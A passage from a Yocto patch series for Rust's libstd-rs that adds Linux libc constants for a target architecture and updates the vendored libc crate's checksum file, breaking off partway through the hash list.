++pub const SIGVTALRM: ::c_int = 26;
++pub const SIGPROF: ::c_int = 27;
++pub const SIGWINCH: ::c_int = 28;
++pub const SIGUSR1: ::c_int = 10;
++pub const SIGUSR2: ::c_int = 12;
++pub const SIGCONT: ::c_int = 18;
++pub const SIGSTOP: ::c_int = 19;
++pub const SIGTSTP: ::c_int = 20;
++pub const SIGURG: ::c_int = 23;
++pub const SIGIO: ::c_int = 29;
++pub const SIGSYS: ::c_int = 31;
++pub const SIGSTKFLT: ::c_int = 16;
++pub const SIGPOLL: ::c_int = 29;
++pub const SIGPWR: ::c_int = 30;
++pub const SIG_SETMASK: ::c_int = 2;
++pub const SIG_BLOCK: ::c_int = 0x000000;
++pub const SIG_UNBLOCK: ::c_int = 0x01;
++
++pub const F_GETLK: ::c_int = 5;
++pub const F_GETOWN: ::c_int = 9;
++pub const F_SETLK: ::c_int = 6;
++pub const F_SETLKW: ::c_int = 7;
++pub const F_SETOWN: ::c_int = 8;
++pub const F_OFD_GETLK: ::c_int = 36;
++pub const F_OFD_SETLK: ::c_int = 37;
++pub const F_OFD_SETLKW: ::c_int = 38;
++
++pub const VEOF: usize = 4;
++
++pub const POLLWRNORM: ::c_short = 0x100;
++pub const POLLWRBAND: ::c_short = 0x200;
++
++pub const SOCK_STREAM: ::c_int = 1;
++pub const SOCK_DGRAM: ::c_int = 2;
++pub const SOL_SOCKET: ::c_int = 1;
++pub const SO_REUSEADDR: ::c_int = 2;
++pub const SO_TYPE: ::c_int = 3;
++pub const SO_ERROR: ::c_int = 4;
++pub const SO_DONTROUTE: ::c_int = 5;
++pub const SO_BROADCAST: ::c_int = 6;
++pub const SO_SNDBUF: ::c_int = 7;
++pub const SO_RCVBUF: ::c_int = 8;
++pub const SO_KEEPALIVE: ::c_int = 9;
++pub const SO_OOBINLINE: ::c_int = 10;
++pub const SO_NO_CHECK: ::c_int = 11;
++pub const SO_PRIORITY: ::c_int = 12;
++pub const SO_LINGER: ::c_int = 13;
++pub const SO_BSDCOMPAT: ::c_int = 14;
++pub const SO_REUSEPORT: ::c_int = 15;
++pub const SO_ACCEPTCONN: ::c_int = 30;
++pub const SO_SNDBUFFORCE: ::c_int = 32;
++pub const SO_RCVBUFFORCE: ::c_int = 33;
++pub const SO_PROTOCOL: ::c_int = 38;
++pub const SO_DOMAIN: ::c_int = 39;
++
++pub const MAP_ANON: ::c_int = 0x0020;
++pub const MAP_GROWSDOWN: ::c_int = 0x0100;
++pub const MAP_DENYWRITE: ::c_int = 0x0800;
++pub const MAP_EXECUTABLE: ::c_int = 0x01000;
++pub const MAP_LOCKED: ::c_int = 0x02000;
++pub const MAP_NORESERVE: ::c_int = 0x04000;
++pub const MAP_POPULATE: ::c_int = 0x08000;
++pub const MAP_NONBLOCK: ::c_int = 0x010000;
++pub const MAP_STACK: ::c_int = 0x020000;
++pub const MAP_HUGETLB: ::c_int = 0x040000;
++pub const MAP_SYNC : ::c_int = 0x080000;
++
++pub const RLIMIT_NLIMITS: ::c_int = 15;
++pub const TIOCINQ: ::c_int = ::FIONREAD;
++pub const MCL_CURRENT: ::c_int = 0x0001;
++pub const MCL_FUTURE: ::c_int = 0x0002;
++pub const CBAUD: ::tcflag_t = 0o0010017;
++pub const TAB1: ::c_int = 0x00000800;
++pub const TAB2: ::c_int = 0x00001000;
++pub const TAB3: ::c_int = 0x00001800;
++pub const CR1: ::c_int = 0x00000200;
++pub const CR2: ::c_int = 0x00000400;
++pub const CR3: ::c_int = 0x00000600;
++pub const FF1: ::c_int = 0x00008000;
++pub const BS1: ::c_int = 0x00002000;
++pub const VT1: ::c_int = 0x00004000;
++pub const VWERASE: usize = 14;
++pub const VREPRINT: usize = 12;
++pub const VSUSP: usize = 10;
++pub const VSTART: usize = 8;
++pub const VSTOP: usize = 9;
++pub const VDISCARD: usize = 13;
++pub const VTIME: usize = 5;
++pub const IXON: ::tcflag_t = 0x00000400;
++pub const IXOFF: ::tcflag_t = 0x00001000;
++pub const ONLCR: ::tcflag_t = 0x4;
++pub const CSIZE: ::tcflag_t = 0x00000030;
++pub const CS6: ::tcflag_t = 0x00000010;
++pub const CS7: ::tcflag_t = 0x00000020;
++pub const CS8: ::tcflag_t = 0x00000030;
++pub const CSTOPB: ::tcflag_t = 0x00000040;
++pub const CREAD: ::tcflag_t = 0x00000080;
++pub const PARENB: ::tcflag_t = 0x00000100;
++pub const PARODD: ::tcflag_t = 0x00000200;
++pub const HUPCL: ::tcflag_t = 0x00000400;
++pub const CLOCAL: ::tcflag_t = 0x00000800;
++pub const ECHOKE: ::tcflag_t = 0x00000800;
++pub const ECHOE: ::tcflag_t = 0x00000010;
++pub const ECHOK: ::tcflag_t = 0x00000020;
++pub const ECHONL: ::tcflag_t = 0x00000040;
++pub const ECHOPRT: ::tcflag_t = 0x00000400;
++pub const ECHOCTL: ::tcflag_t = 0x00000200;
++pub const ISIG: ::tcflag_t = 0x00000001;
++pub const ICANON: ::tcflag_t = 0x00000002;
++pub const PENDIN: ::tcflag_t = 0x00004000;
++pub const NOFLSH: ::tcflag_t = 0x00000080;
++pub const CIBAUD: ::tcflag_t = 0o02003600000;
++pub const CBAUDEX: ::tcflag_t = 0o010000;
++pub const VSWTC: usize = 7;
++pub const OLCUC: ::tcflag_t = 0o000002;
++pub const NLDLY: ::tcflag_t = 0o000400;
++pub const CRDLY: ::tcflag_t = 0o003000;
++pub const TABDLY: ::tcflag_t = 0o014000;
++pub const BSDLY: ::tcflag_t = 0o020000;
++pub const FFDLY: ::tcflag_t = 0o100000;
++pub const VTDLY: ::tcflag_t = 0o040000;
++pub const XTABS: ::tcflag_t = 0o014000;
++pub const B57600: ::speed_t = 0o010001;
++pub const B115200: ::speed_t = 0o010002;
++pub const B230400: ::speed_t = 0o010003;
++pub const B460800: ::speed_t = 0o010004;
++pub const B500000: ::speed_t = 0o010005;
++pub const B576000: ::speed_t = 0o010006;
++pub const B921600: ::speed_t = 0o010007;
++pub const B1000000: ::speed_t = 0o010010;
++pub const B1152000: ::speed_t = 0o010011;
++pub const B1500000: ::speed_t = 0o010012;
++pub const B2000000: ::speed_t = 0o010013;
++pub const B2500000: ::speed_t = 0o010014;
++pub const B3000000: ::speed_t = 0o010015;
++pub const B3500000: ::speed_t = 0o010016;
++pub const B4000000: ::speed_t = 0o010017;
++
++pub const FIOCLEX: ::c_int = 0x5451;
++pub const FIONCLEX: ::c_int = 0x5450;
++pub const FIONBIO: ::c_int = 0x5421;
++pub const EDEADLK: ::c_int = 35;
++pub const EDEADLOCK: ::c_int = EDEADLK;
++pub const SO_PASSCRED: ::c_int = 16;
++pub const SO_PEERCRED: ::c_int = 17;
++pub const SO_RCVLOWAT: ::c_int = 18;
++pub const SO_SNDLOWAT: ::c_int = 19;
++pub const SO_RCVTIMEO: ::c_int = 20;
++pub const SO_SNDTIMEO: ::c_int = 21;
++pub const EXTPROC: ::tcflag_t = 0x00010000;
++pub const VEOL: usize = 11;
++pub const VEOL2: usize = 16;
++pub const VMIN: usize = 6;
++pub const IEXTEN: ::tcflag_t = 0x00008000;
++pub const TOSTOP: ::tcflag_t = 0x00000100;
++pub const FLUSHO: ::tcflag_t = 0x00001000;
++pub const TCGETS: ::c_int = 0x5401;
++pub const TCSETS: ::c_int = 0x5402;
++pub const TCSETSW: ::c_int = 0x5403;
++pub const TCSETSF: ::c_int = 0x5404;
++pub const TCGETA: ::c_int = 0x5405;
++pub const TCSETA: ::c_int = 0x5406;
++pub const TCSETAW: ::c_int = 0x5407;
++pub const TCSETAF: ::c_int = 0x5408;
++pub const TCSBRK: ::c_int = 0x5409;
++pub const TCXONC: ::c_int = 0x540A;
++pub const TCFLSH: ::c_int = 0x540B;
++pub const TIOCGSOFTCAR: ::c_int = 0x5419;
++pub const TIOCSSOFTCAR: ::c_int = 0x541A;
++pub const TIOCLINUX: ::c_int = 0x541C;
++pub const TIOCGSERIAL: ::c_int = 0x541E;
++pub const TIOCEXCL: ::c_int = 0x540C;
++pub const TIOCNXCL: ::c_int = 0x540D;
++pub const TIOCSCTTY: ::c_int = 0x540E;
++pub const TIOCGPGRP: ::c_int = 0x540F;
++pub const TIOCSPGRP: ::c_int = 0x5410;
++pub const TIOCOUTQ: ::c_int = 0x5411;
++pub const TIOCSTI: ::c_int = 0x5412;
++pub const TIOCGWINSZ: ::c_int = 0x5413;
++pub const TIOCSWINSZ: ::c_int = 0x5414;
++pub const TIOCMGET: ::c_int = 0x5415;
++pub const TIOCMBIS: ::c_int = 0x5416;
++pub const TIOCMBIC: ::c_int = 0x5417;
++pub const TIOCMSET: ::c_int = 0x5418;
++pub const FIONREAD: ::c_int = 0x541B;
++pub const TIOCCONS: ::c_int = 0x541D;
++
++pub const TIOCM_LE: ::c_int = 0x001;
++pub const TIOCM_DTR: ::c_int = 0x002;
++pub const TIOCM_RTS: ::c_int = 0x004;
++pub const TIOCM_ST: ::c_int = 0x008;
++pub const TIOCM_SR: ::c_int = 0x010;
++pub const TIOCM_CTS: ::c_int = 0x020;
++pub const TIOCM_CAR: ::c_int = 0x040;
++pub const TIOCM_RNG: ::c_int = 0x080;
++pub const TIOCM_DSR: ::c_int = 0x100;
++pub const TIOCM_CD: ::c_int = TIOCM_CAR;
++pub const TIOCM_RI: ::c_int = TIOCM_RNG;
++
++extern "C" {
++ pub fn ioctl(fd: ::c_int, request: ::c_int, ...) -> ::c_int;
++}
diff --git a/meta/recipes-devtools/rust/libstd-rs/0008-Update-checksums-for-modified-files-for-rust.patch b/meta/recipes-devtools/rust/libstd-rs/0008-Update-checksums-for-modified-files-for-rust.patch
new file mode 100644
index 0000000000..2a5f3e3422
--- /dev/null
+++ b/meta/recipes-devtools/rust/libstd-rs/0008-Update-checksums-for-modified-files-for-rust.patch
@@ -0,0 +1,22 @@
+From 9bed5cee7388931fc706c2a1e6b8e3285d6807a4 Mon Sep 17 00:00:00 2001
+From: Ralf Anton Beier <ralf_beier@me.com>
+Date: Sun, 8 Aug 2021 11:19:24 +0200
+Subject: [PATCH] Update checksums for modified files for rust
+
+Upstream-Status: Inappropriate [previous patches need to be upstreamed]
+Signed-off-by: Ralf Anton Beier <ralf_beier@me.com>
+---
+ vendor/libc/.cargo-checksum.json | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/vendor/libc/.cargo-checksum.json b/vendor/libc/.cargo-checksum.json
+index 38ea3c65d..e373c3cb2 100644
+--- a/vendor/libc/.cargo-checksum.json
++++ b/vendor/libc/.cargo-checksum.json
+@@ -1 +1 @@
+-{"files":{"CONTRIBUTING.md":"752eea5a703d11b485c6b5f195f51bd2c79aa5159b619ce09555c779e1fb586b","Cargo.toml":"aad61c58f04e78be520769d8927ab4c121a6536f532b159be1b706550fcd0234","LICENSE-APACHE":"a60eea817514531668d7e00765731449fe14d059d3249e0bc93b36de45f759f2","LICENSE-MIT":"a8d47ff51ca256f56a8932dba07660672dbfe3004257ca8de708aac1415937a1","README.md":"8228847944f1332882fbb00275b6f30e4a8aad08a13569c25d52cac012cc2a47","build.rs":"8e0e8d33cc9e7c25cde75c2b502420f943266a681024169f94084774b422681d","rustfmt.toml":"eaa2ea84fc1ba0359b77680804903e07bb38d257ab11986b95b158e460f787b2","src/fixed_width_ints.rs":"34c60f12ec5eeb90f13ec3b954427532111c2446e69617616a97aefc1086a9f1","src/fuchsia/aarch64.rs":"378776a9e40766154a54c94c2a7b4675b5c302a38e6e42da99e67bfbaee60e56","src/fuchsia/align.rs":"ae1cf8f011a99737eabeb14ffff768e60f13b13363d7646744dbb0f443dab3d6","src/fuchsia/mod.rs":"520300ff260d377930f2f456135ec9a3ac7740a949ce7bf5269c0dc60d56c0df","src/fuchsia/no_align.rs":"303f3f1b255e0088b5715094353cf00476131d8e94e6aebb3f469557771c8b8a","src/fuchsia/x86_64.rs":"93a3632b5cf67d2a6bcb7dc0a558605252d5fe689e0f38d8aa2ec5852255ac87","src/hermit/aarch64.rs":"86048676e335944c37a63d0083d0f368ae10ceccefeed9debb3bbe08777fc682","src/hermit/mod.rs":"d3bfce41e4463d4be8020a2d063c9bfa8b665f45f1cc6cbf3163f5d01e7cb21f","src/hermit/x86_64.rs":"ab832b7524e5fb15c49ff7431165ab1a37dc4667ae0b58e8306f4c539bfa110c","src/lib.rs":"d4f7452c0fe720f3a961b918b74ec86d19cef33e6b4aac08efbbad6f6d818e09","src/macros.rs":"7844312c233a6889fa15395fe3106f6a8f6229211104a92f33ea3c9536eef763","src/psp.rs":"dd31aabd46171d474ec5828372e28588935120e7355c90c105360d8fa9264c1c","src/sgx.rs":"16a95cdefc81c5ee00d8353a60db363c4cc3e0f75abcd5d0144723f2a306ed1b","src/switch.rs":"9da3dd39b3de45a7928789926e8572d00e1e11a39e6f7289a1349aadce90edba","src/unix/align.rs":"2cdc7c826ef7ae61f5171c5ae8c445a743d86f1a7f2d9d7e4ceeec56d6874f65","src/unix/bsd/apple/b32/align.rs":"ec833a747866fe19ca2d9b4d3c9ff0385faba5edf4bd0d15fa68884c40b0e26c","src/unix/bsd/apple/b32/mod.rs":"6a4ce300da0d2b0db04b18548286603ffe4b47d679a41cf60f1902895894aa1f","src/unix/bsd/apple/b64/aarch64/align.rs":"f0c321265dd7671f16106b84951ac7dd77ed2e65c6623cbf2d29e76531984770","src/unix/bsd/apple/b64/aarch64/mod.rs":"46d5d061c7a74cbc09cbdfb3bee9a600867bf4e04c0e4d0ca6c817e6033b32e1","src/unix/bsd/apple/b64/align.rs":"ec833a747866fe19ca2d9b4d3c9ff0385faba5edf4bd0d15fa68884c40b0e26c","src/unix/bsd/apple/b64/mod.rs":"f5e278a1af7fb358891d1c9be4eb7e815aaca0c5cb738d0c3604ba2208a856f7","src/unix/bsd/apple/b64/x86_64/align.rs":"ec833a747866fe19ca2d9b4d3c9ff0385faba5edf4bd0d15fa68884c40b0e26c","src/unix/bsd/apple/b64/x86_64/mod.rs":"cc6878dd130c3f255418e4da74992ae9ba6a3cdb0530772de76c518077d3b12a","src/unix/bsd/apple/mod.rs":"e0ebe1040b8ff87c52d581f96234291a6380ebe3af3088c4f6ff748fbd7d2a7a","src/unix/bsd/freebsdlike/dragonfly/errno.rs":"8295b8bb0dfd38d2cdb4d9192cdeeb534cc6c3b208170e64615fa3e0edb3e578","src/unix/bsd/freebsdlike/dragonfly/mod.rs":"1466715589ed18b66789d60904e8258b20d7783a6f3bf72f775617bc0d9373d8","src/unix/bsd/freebsdlike/freebsd/aarch64.rs":"2a215bd6136b8617aacedf9be738ccee94da9d29b418e9a78101d6291c182352","src/unix/bsd/freebsdlike/freebsd/arm.rs":"59d6a670eea562fb87686e243e0a84603d29a2028a3d4b3f99ccc01bd04d2f47","src/unix/bsd/freebsdlike/freebsd/freebsd11/b64.rs":"9808d152c1196aa647f1b0f0cf84dac8c930da7d7f897a44975545e3d9d17681","src/unix/bsd/freebsdlike/freebsd/freebsd11/mod.rs":"6523af60c0e4937ad374003c1653e9e721f5b6f11572c747732f76522d07d034","src/unix/bsd/freebsdlike/freebsd/freebsd12/b64.rs":"61cbe45f8499bedb168106b686d4f8239472f25c7553b069eec2afe197ff2df6","src/unix/bsd/freebsdlike/freebsd/freebsd12/mod.rs":"0821543bf2073cb3dc46157e47140caa30704e062b23099d52bf80cb56e25321","src/unix/bsd/freebsdlike/freebsd/freebsd12/x86_64.rs":"2df36a7f122f6d6e5753cfb4d22e915cc80f6bc91c0161b3daae55a481bfd052","src/unix/bsd/freebsdlike/freebsd/freebsd13/b64.rs":"61cbe45f8499bedb168106b686d4f8239472f25c7553b069eec2afe197ff2df6","src/unix/bsd/freebsdlike/freebsd/freebsd13/mod.rs":"21416cad3e76f53d10d0c73840469290aa80c2d92c773307a1ca92485d3c0e13","src/unix/bsd/freebsdlike/freebsd/freebsd13/x86_64.rs":"2df36a7f122f6d6e5753cfb4d22e915cc80f6bc91c0161b3daae55a481bfd052","src/unix/bsd/freebsdlike/freebsd/mod.rs":"0ee5530ddde5690cdc6f91acca86ce74c37ec06886418c34b201c154fd2c9e41","src/unix/bsd/freebsdlike/freebsd/powerpc.rs":"9ca3f82f88974e6db5569f2d76a5a3749b248a31747a6c0da5820492bdfeca42","src/unix/bsd/freebsdlike/freebsd/powerpc64.rs":"2dae3ecc87eac3b11657aa98915def55fc4b5c0de11fe26aae23329a54628a9a","src/unix/bsd/freebsdlike/freebsd/x86.rs":"c5005e3249eb7c93cfbac72a9e9272320d80ce7983da990ceb05a447f59a02c5","src/unix/bsd/freebsdlike/freebsd/x86_64/align.rs":"0e1f69a88fca1c32874b1daf5db3d446fefbe518dca497f096cc9168c39dde70","src/unix/bsd/freebsdlike/freebsd/x86_64/mod.rs":"c3a0111252e201c172b99e7d9cbee4cf088d3dd47995110e819f04276bccd198","src/unix/bsd/freebsdlike/mod.rs":"77763a8dfe2d31c78ee7c3e64001ceee6d4ba34cc77b7fd4fdde153e5abbbeb8","src/unix/bsd/mod.rs":"2fed08973739d7f6a7412b204724af64b1a915c712689c250cf9a08263ba05ff","src/unix/bsd/netbsdlike/mod.rs":"4e9da54e541773c7ad4cca9dade1df00f28f2fdac3f8df5957f4c74b7e082344","src/unix/bsd/netbsdlike/netbsd/aarch64.rs":"65dcb58d11e8d8028401a9d07ca3eb4cb4f053e04249cc877353449d84ccc4cb","src/unix/bsd/netbsdlike/netbsd/arm.rs":"58cdbb70b0d6f536551f0f3bb3725d2d75c4690db12c26c034e7d6ec4a924452","src/unix/bsd/netbsdlike/netbsd/mod.rs":"96edbcf448b89c991c9254c194232322dce69fb8050bab9f9741f5aecb2104ea","src/unix/bsd/netbsdlike/netbsd/powerpc.rs":"ee7ff5d89d0ed22f531237b5059aa669df93a3b5c489fa641465ace8d405bf41","src/unix/bsd/netbsdlike/netbsd/sparc64.rs":"9489f4b3e4566f43bb12dfb92238960613dac7f6a45cc13068a8d152b902d7d9","src/unix/bsd/netbsdlike/netbsd/x86.rs":"20692320e36bfe028d1a34d16fe12ca77aa909cb02bda167376f98f1a09aefe7","src/unix/bsd/netbsdlike/netbsd/x86_64.rs":"1afe5ef46b14397cdd68664b5b232e4f5b035b6db1d4cf411c899d51ebca9f30","src/unix/bsd/netbsdlike/openbsd/aarch64.rs":"dd91931d373b7ecaf6e2de25adadee10d16fa9b12c2cbacdff3eb291e1ba36af","src/unix/bsd/netbsdlike/openbsd/mod.rs":"9a9878e70ee8765d95cb1b010e39d74004278ca6da58fb82354f69752a84c926","src/unix/bsd/netbsdlike/openbsd/sparc64.rs":"d04fd287afbaa2c5df9d48c94e8374a532a3ba491b424ddf018270c7312f4085","src/unix/bsd/netbsdlike/openbsd/x86.rs":"6f7f5c4fde2a2259eb547890cbd86570cea04ef85347d7569e94e679448bec87","src/unix/bsd/netbsdlike/openbsd/x86_64.rs":"d31db31630289c85af3339dbe357998a21ca584cbae31607448fe2cf7675a4e1","src/unix/haiku/b32.rs":"69ae47fc52c6880e85416b4744500d5655c9ec6131cb737f3b649fceaadce15a","src/unix/haiku/b64.rs":"73e64db09275a8da8d50a13cce2cfa2b136036ddf3a930d2939f337fc995900b","src/unix/haiku/mod.rs":"912969bc1d59a6cec74de3140982b7f0b69e74d44936646587f1c8820be7c0fe","src/unix/haiku/native.rs":"44855f52906f607de137fc4baa8c6b1b9a26baaa666f25d5f7a7ec5e017c8be6","src/unix/haiku/x86_64.rs":"3ec3aeeb7ed208b8916f3e32d42bfd085ff5e16936a1a35d9a52789f043b7237","src/unix/hermit/aarch64.rs":"86048676e335944c37a63d0083d0f368ae10ceccefeed9debb3bbe08777fc682","src/unix/hermit/mod.rs":"859814f5df89e28fd4b345db399d181e11e7ed413841b6ff703a1fcbdbf013ae","src/unix/hermit/x86_64.rs":"ab832b7524e5fb15c49ff7431165ab1a37dc4667ae0b58e8306f4c539bfa110c","src/unix/linux_like/android/b32/arm.rs":"433c1530f602cc5ed26610c58055dde0c4ceea5e00150063b24ddc60768332a4","src/unix/linux_like/android/b32/mod.rs":"d971b98530a96f5892f98e1edc3133cf278d1b3939d77ab0a27a6323e0961715","src/unix/linux_like/android/b32/x86/align.rs":"812914e4241df82e32b12375ca3374615dc3a4bdd4cf31f0423c5815320c0dab","src/unix/linux_like/android/b32/x86/mod.rs":"8388bd3a0fcb5636bf965eee6dc95ae6860b85a2b555b387c868aa4d4e01ec89","src/unix/linux_like/android/b64/aarch64/align.rs":"2179c3b1608fa4bf68840482bfc2b2fa3ee2faf6fcae3770f9e505cddca35c7b","src/unix/linux_like/android/b64/aarch64/mod.rs":"8fe667d2b14abc5ac8aad32e16c3da24350471d8156eaea9ab4989f73dd9f9fc","src/unix/linux_like/android/b64/mod.rs":"d7bbbadafdb2cb2ff8e9cde3d89a03b9facaabb6b2d45705225d3ece1c5cce37","src/unix/linux_like/android/b64/x86_64/align.rs":"7169d07a9fd4716f7512719aec9fda5d8bed306dc0720ffc1b21696c9951e3c6","src/unix/linux_like/android/b64/x86_64/mod.rs":"06b22dc184e85a988ab969c75cadc52b9878faeab0eb9d21215878c95fe07c19","src/unix/linux_like/android/mod.rs":"8688204b3236db28b66ff0f1de5320f47ec5c1ef5395dddcc9df025a8d78630a","src/unix/linux_like/emscripten/align.rs":"86c95cbed7a7161b1f23ee06843e7b0e2340ad92b2cb86fe2a8ef3e0e8c36216","src/unix/linux_like/emscripten/mod.rs":"6ef97140ca6fb24125fdd0aacb986ef785aa21993229660d7f703f8875ebfe49","src/unix/linux_like/emscripten/no_align.rs":"0128e4aa721a9902754828b61b5ec7d8a86619983ed1e0544a85d35b1051fad6","src/unix/linux_like/linux/align.rs":"213e70ebed2703e14a9cf17666b21ecbf180b7bff7fa22fdbb36dbbd52df326d","src/unix/linux_like/linux/arch/generic/mod.rs":"ff1fe8fad4ea15d9bec3db25efcfcb4939190c5189f86cfa4d05825aa8c10956","src/unix/linux_like/linux/arch/mips/mod.rs":"e4a980b002105aaa057eb6568e1e2c6168ade5c00e13a31ef67e316ddffdb900","src/unix/linux_like/linux/arch/mod.rs":"466a29622e47c6c7f1500682b2eb17f5566dd81b322cd6348f0fdd355cec593a","src/unix/linux_like/linux/arch/powerpc/mod.rs":"1789eb5b41f75c29239795124a4a7cdcf7c8d213b88cf581b2f5bda08d7cf15b","src/unix/linux_like/linux/arch/sparc/mod.rs":"ded708124ee610267d011dee31fb02d1ec697c334aa822776ec95a7ddf6fc541","src/unix/linux_like/linux/gnu/align.rs":"e4a3c27fe20a57b8d612c34cb05bc70646edb5cec7251957315afa53a7b9f936","src/unix/linux_like/linux/gnu/b32/arm/align.rs":"3fed009dc9af3cc81be7087da9d2d7d1f39845e4497e290259c5cdbae25f039d","src/unix/linux_like/linux/gnu/b32/arm/mod.rs":"07adf9f4b96854062db518aaf08521fde0ad4a21a5c049efccba437bd97b2b5a","src/unix/linux_like/linux/gnu/b32/mips/align.rs":"429fb5e005cb7143602d430098b6ebfb7d360685b194f333dfd587472ae954ee","src/unix/linux_like/linux/gnu/b32/mips/mod.rs":"1cb5c0c9df3af2bbe131a91593583259fac9118931744c8435e197a394eb0462","src/unix/linux_like/linux/gnu/b32/mod.rs":"794dbcbae7dae8fd6b0b814573243197ceb532b56ef0772ad86b4b401478fcd9","src/unix/linux_like/linux/gnu/b32/powerpc.rs":"0cd7348badb9c4f8a0db31a2503b30c456a2bfcc7a0e5919762b1e12f912c5ad","src/unix/linux_like/linux/gnu/b32/riscv32/mod.rs":"ee5145a383386b716605a8d1ff3df212d418aae1aa1f37d2307d4f9cd1a08e99","src/unix/linux_like/linux/gnu/b32/sparc/align.rs":"21adbed27df73e2d1ed934aaf733a643003d7baf2bde9c48ea440895bcca6d41","src/unix/linux_like/linux/gnu/b32/sparc/mod.rs":"1bcec269a8416ccc48a384ca5765eaaa23f30f39f32311f50008ef4eeadafb2f","src/unix/linux_like/linux/gnu/b32/x86/align.rs":"e4bafdc4a519a7922a81b37a62bbfd1177a2f620890eef8f1fbc47162e9eb413","src/unix/linux_like/linux/gnu/b32/x86/mod.rs":"5317dbf2323577b89370bbee3894882b89d8333176db4f7b271ddc2f036ef43c","src/unix/linux_like/linux/gnu/b64/aarch64/align.rs":"2179c3b1608fa4bf68840482bfc2b2fa3ee2faf6fcae3770f9e505cddca35c7b","src/unix/linux_like/linux/gnu/b64/aarch64/ilp32.rs":"21a21503ef2e095f4371044915d4bfb07a8578011cb5c713cd9f45947b0b5730","src/unix/linux_like/linux/gnu/b64/aarch64/lp64.rs":"e78c3cd197f44832338b414d1a9bc0d194f44c74db77bd7bf830c1fff62b2690","src/unix/linux_like/linux/gnu/b64/aarch64/mod.rs":"c3730792dabcc166d8fd22929ef2633d49bc626875382dfcd401e8e125fb7a84","src/unix/linux_like/linux/gnu/b64/mips64/align.rs":"7169d07a9fd4716f7512719aec9fda5d8bed306dc0720ffc1b21696c9951e3c6","src/unix/linux_like/linux/gnu/b64/mips64/mod.rs":"68bcb71bbfccb4e8648948e494366d94767ce96f36daab9c1329375cdd32a459","src/unix/linux_like/linux/gnu/b64/mod.rs":"6336065423c26b59681fd2ce77f1117ea36af13e163fdadaefd108bd8191e8c8","src/unix/linux_like/linux/gnu/b64/powerpc64/align.rs":"e29c4868bbecfa4a6cd8a2ad06193f3bbc78a468cc1dc9df83f002f1268130d9","src/unix/linux_like/linux/gnu/b64/powerpc64/mod.rs":"dbb8905e363ed4a2dfb984554ad9b6389d27f6a2d599ec2d80e38a6c7551a019","src/unix/linux_like/linux/gnu/b64/riscv64/mod.rs":"5b982c41097f4f91adcb0968290afeccb27dce1695a261c964d34ef85df87cf4","src/unix/linux_like/linux/gnu/b64/s390x.rs":"a9484dfd3c7ca1174537957bef997c3ba7ea41989cdf61ede22b1bbc45a667bf","src/unix/linux_like/linux/gnu/b64/sparc64/align.rs":"e29c4868bbecfa4a6cd8a2ad06193f3bbc78a468cc1dc9df83f002f1268130d9","src/unix/linux_like/linux/gnu/b64/sparc64/mod.rs":"26fda11bdce99372c2c246e60866b56d98beb9fb49a2f6b69347ecfd03d18255","src/unix/linux_like/linux/gnu/b64/x86_64/align.rs":"7169d07a9fd4716f7512719aec9fda5d8bed306dc0720ffc1b21696c9951e3c6","src/unix/linux_like/linux/gnu/b64/x86_64/mod.rs":"5a5ce7c5c92f60d8900dce63d363a38f3126aaf5be981710e172bec96ef95ac6","src/unix/linux_like/linux/gnu/b64/x86_64/not_x32.rs":"f775ac2b754f90b63053fe22afe1d19d306b5404995568d6805baa9249fb617f","src/unix/linux_like/linux/gnu/b64/x86_64/x32.rs":"4ba1b58468f55254717366f50fdfd3e4114fde6dc442a56681926c4d7e5b6b0d","src/unix/linux_like/linux/gnu/mod.rs":"a040250bc2b4b2831ae2cad6f1abf3dc73e6015c4f570abf21350e220e898338","src/unix/linux_like/linux/gnu/no_align.rs":"9cd223135de75315840ff9c3fd5441ba1cb632b96b5c85a76f8316c86653db25","src/unix/linux_like/linux/mod.rs":"8f282fe98fe7fcdae158aad41b2a9e6130c130c7a041fe13919357bf7b548057","src/unix/linux_like/linux/musl/b32/arm/align.rs":"3e8ac052c1043764776b54c93ba4260e061df998631737a897d9d47d54f7b80c","src/unix/linux_like/linux/musl/b32/arm/mod.rs":"6255abe2ee04986832d12b7b2190589580f2a43e9bfb285b32b5747227f62727","src/unix/linux_like/linux/musl/b32/hexagon.rs":"a8811791809672be8338e6e27d1c4fcf383c2f26585be8bf9ab2923b219de032","src/unix/linux_like/linux/musl/b32/mips/align.rs":"429fb5e005cb7143602d430098b6ebfb7d360685b194f333dfd587472ae954ee","src/unix/linux_like/linux/musl/b32/mips/mod.rs":"b9e9ff42363ebbb884ddf6445129ec4164471df45846874fc08f5f458e659254","src/unix/linux_like/linux/musl/b32/mod.rs":"8ede3985e6243882814ce91e8ce543e7edbafc0cee5932816072b6f14207a671","src/unix/linux_like/linux/musl/b32/powerpc.rs":"4592dc5f1f2fe888dfef85fa862d42d168e73a2c6f4fc052b58287d0f4d4ffcd","src/unix/linux_like/linux/musl/b32/x86/align.rs":"08e77fbd7435d7dec2ff56932433bece3f02e47ce810f89004a275a86d39cbe1","src/unix/linux_like/linux/musl/b32/x86/mod.rs":"a19a8decfab185af3cebd34aae4b15082e7552be573904b8c1a3f0c0e493ef34","src/unix/linux_like/linux/musl/b64/aarch64/align.rs":"798a9229d70ce235394f2dd625f6c4c1e10519a94382dc5b091952b638ae2928","src/unix/linux_like/linux/musl/b64/aarch64/mod.rs":"a73035c6d9b776f13b839008e15c04c2c53455571efd06664affcb047e457112","src/unix/linux_like/linux/musl/b64/mips64.rs":"2744895451f3a777fbe54f7f2695be53310b965fd62084c9b7e9121c7fe28346","src/unix/linux_like/linux/musl/b64/mod.rs":"d18abc0aeba2e26342bf3416a4dba0836db2bb0ee013b0a39629475cf8640289","src/unix/linux_like/linux/musl/b64/powerpc64.rs":"e5a55525b42493923956d668f978fb45e22d51deea00ce5edbfddf76ff19c741","src/unix/linux_like/linux/musl/b64/s390x.rs":"03dfec6794d93cb31a7c52b2d53a0973755168f91f8fa437cc5dbd54882c8ee7","src/unix/linux_like/linux/musl/b64/x86_64/align.rs":"7169d07a9fd4716f7512719aec9fda5d8bed306dc0720ffc1b21696c9951e3c6","src/unix/linux_like/linux/musl/b64/x86_64/mod.rs":"0dd168f5a6881f32e5239fb312b23cf137b800d0ff323286a92c8a2c382b5456","src/unix/linux_like/linux/musl/mod.rs":"55ccd71342276ccb4c441a4bc2772aebfd163af299669b658c6c8c6add331ec3","src/unix/linux_like/linux/no_align.rs":"5ed04c53bf9d27da9b4d65ba7625c6ac53330162683d1b3df98950caafa3507b","src/unix/linux_like/linux/uclibc/align.rs":"9ed16138d8e439bd90930845a65eafa7ebd67366e6bf633936d44014f6e4c959","src/unix/linux_like/linux/uclibc/arm/align.rs":"e4a3c27fe20a57b8d612c34